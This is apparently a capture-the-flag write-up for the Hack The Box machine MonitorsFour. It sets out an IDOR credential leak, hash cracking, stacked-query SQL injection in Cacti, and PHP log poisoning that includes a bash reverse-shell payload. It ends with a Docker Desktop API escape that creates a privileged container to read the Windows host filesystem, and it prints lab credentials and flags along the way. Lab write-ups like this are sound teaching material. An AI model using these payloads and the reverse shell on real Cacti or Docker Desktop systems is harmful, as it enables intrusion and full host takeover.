MonitorsFour
IDOR credential leak, Cacti SQL injection to stacked-query log poisoning RCE, and Docker Desktop API escape to root.
contents

MonitorsFour — HTB Writeup#
Machine Summary#
| Property | Value |
|---|---|
| Name | MonitorsFour |
| IP | 10.129.7.205 |
| OS | Windows 11 / Server 2025 (WSL2 + Docker Desktop) |
| Difficulty | Easy |
| Key Topics | IDOR, Cacti SQLi, Log Poisoning RCE, Docker Desktop API Escape |
Overview#
MonitorsFour was a Windows host running Docker Desktop with WSL2. Two Docker containers served a custom PHP web application and Cacti 1.2.28 behind nginx. An IDOR vulnerability in the main app leaked user credentials. After cracking an MD5 hash, Cacti was accessed as a low-privilege user. A boolean-based SQL injection (CVE-2024-54146) in Cacti’s host_templates.php was leveraged with stacked queries to change the Cacti log file path to a .php extension, then PHP code was injected via SQL error log messages to achieve RCE as www-data. From inside the container, the Docker Desktop Engine API was found accessible without authentication on the internal subnet (CVE-2025-9074). A privileged container was created to mount the host filesystem and read the root flag from C:\Users\Administrator\Desktop\root.txt.
Reconnaissance#
An nmap scan revealed two open TCP ports:
PORT STATE SERVICE VERSION80/tcp open http nginx5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)Port 80 served a PHP application titled “MonitorsFour - Networking Solutions” which redirected to monitorsfour.htb. Port 5985 was WinRM. No UDP services were found.
Technology fingerprinting with whatweb identified PHP 8.3.27 on nginx with Bootstrap and jQuery.
Enumeration#
Subdomain Discovery#
Virtual host fuzzing with ffuf discovered cacti.monitorsfour.htb, which served Cacti 1.2.28 at /cacti/.
ffuf -u http://10.129.7.205 -H "Host: FUZZ.monitorsfour.htb" \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 138# Result: cacti [Status: 302]IDOR — Credential Leak#
The main application exposed an IDOR at /user?token=0 which returned all user records including MD5 password hashes:
GET http://monitorsfour.htb/user?token=0[ {"id":2,"username":"admin","password":"56b32eb43e6f15395f6c46c1c9e1cd36","name":"Marcus Higgins"}, {"id":5,"username":"mwatson","password":"69196959c16b26ef00b77d82cf6eb169"}, {"id":6,"username":"janderson","password":"2a22dcf99190c322d974c8df5ba3256b"}, {"id":7,"username":"dthompson","password":"8d4a7e7fd08555133e056d9aacb1e519"}]The admin hash 56b32eb43e6f15395f6c46c1c9e1cd36 cracked to wonderful1 via john with rockyou.txt. The admin account belonged to “Marcus Higgins”. Logging into Cacti as marcus:wonderful1 succeeded.
Exploitation — User Flag#
SQL Injection in Cacti (CVE-2024-54146)#
Cacti 1.2.28 was vulnerable to boolean-based blind SQL injection in host_templates.php via the graph_template parameter:
GET /cacti/host_templates.php?graph_template=1) AND SLEEP(3) AND (1=1This confirmed time-based injection (6.11s response). Boolean-based extraction was used to dump the Cacti user_auth table via sqlmap:
sqlmap -u "http://cacti.monitorsfour.htb/cacti/host_templates.php?graph_template=1" \ --cookie="Cacti=<session>" --dbms=mysql -p graph_template \ --technique=B -D cacti -T user_auth -C username,password --dump --batchStacked Queries — Cacti Admin Escalation#
Crucially, the injection point supported stacked queries through MariaDB 11.4. One of the two internal SQL execution paths (db_fetch_assoc) accepted multi-statement queries. This was used to change the Cacti admin password:
graph_template=1);UPDATE user_auth SET password='$2y$10$...' WHERE username='admin';--Log Poisoning to RCE#
With admin access to Cacti Settings, the attack proceeded:
Changed the Cacti log path to a
.phpfile via stacked SQL:UPDATE settings SET value='/var/www/html/cacti/log/evil.php' WHERE name='path_cactilog';Injected PHP code via a SQL error that was logged to the new
.phplog file:graph_template=1);<?php system("id"); ?>;--The CMDPHP error log entry preserved the PHP tags, and when
evil.phpwas accessed via HTTP, PHP executed the embedded code.Triggered a reverse shell using the same technique with a bash reverse shell:
graph_template=1);<?php system("bash -c 'bash -i >& /dev/tcp/LHOST/4444 0>&1'"); ?>;--
This yielded a shell as www-data inside the Docker container.
User Flag#
The user flag was at /home/marcus/user.txt inside the container:
www-data@821fbd6a43fa:~$ cat /home/marcus/user.txt4bc6c3afdce606c78804286f81f4f855Container Enumeration#
Key findings from inside the container:
- Kernel:
6.6.87.2-microsoft-standard-WSL2— Docker Desktop on Windows with WSL2 - Database credentials found in
/var/www/html/cacti/include/config.php:cactidbuser:7pyrf6ly8qx4(Cacti DB)
- Database credentials found in
/var/www/app/.env:monitorsdbuser:f37p2j8f4t0r(Main app DB)
- Container IP: 172.18.0.2/16, gateway 172.18.0.1
Privilege Escalation — Root Flag#
Docker Desktop API Escape (CVE-2025-9074)#
Research identified CVE-2025-9074: Docker Desktop exposes the Docker Engine API on the internal subnet (192.168.65.7:2375) without authentication, accessible from any locally running Linux container.
From within the container:
curl -s http://192.168.65.7:2375/version# {"Platform":{"Name":"Docker Engine - Community"},"Version":"28.3.2",...}A privileged container was created that mounted the WSL2 host filesystem:
curl -s -X POST http://192.168.65.7:2375/containers/create \ -H 'Content-Type: application/json' \ -d '{"Image":"alpine:latest","Cmd":["cat","/host/mnt/host/c/Users/Administrator/Desktop/root.txt"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'After starting the container and reading its logs:
curl -s -X POST http://192.168.65.7:2375/containers/<id>/startcurl -s 'http://192.168.65.7:2375/containers/<id>/logs?stdout=true'The Windows filesystem was accessible at /host/mnt/host/c/, and the root flag was at:
C:\Users\Administrator\Desktop\root.txt3219da34471f01181361e27f59860a0aRoot Flag: 3219da34471f01181361e27f59860a0a
Obstacles & Lessons Learned#
- CVE-2025-24367 (Cacti rrdtool injection) was the official HTB PoC but proved unreliable — the rrdtool pipe in Cacti’s PHP-FPM worker broke after the first injection, preventing repeated file creation. The log poisoning approach via stacked SQL queries was a more reliable alternative.
- WinRM credentials were never valid from the attacker machine despite
marcus:wonderful1being a valid Cacti login. The root path was through Docker API escape, not WinRM. - Stacked queries in MariaDB worked through one of two SQL execution paths in Cacti’s PHP code (
db_fetch_assocaccepted multi-query whiledb_fetch_celldid not). Both paths logged errors, but onlydb_fetch_assocactually executed the stacked statements. - Docker Desktop CVE-2025-9074 was the key escalation — the Docker Engine API at
192.168.65.7:2375was accessible without authentication from any container on the Docker internal subnet.
Tools Used#
| Tool | Purpose |
|---|---|
| nmap | Port scanning and service enumeration |
| ffuf | Virtual host / subdomain fuzzing |
| whatweb | Technology fingerprinting |
| curl | HTTP requests, API interaction |
| sqlmap | SQL injection confirmation and data extraction |
| python3 (requests) | Custom exploit scripts, boolean SQLi extraction |
| john | MD5 hash cracking |
| nc (netcat) | Reverse shell listener |
| netexec | WinRM credential testing |
| Docker API (curl) | Privileged container creation for Docker escape |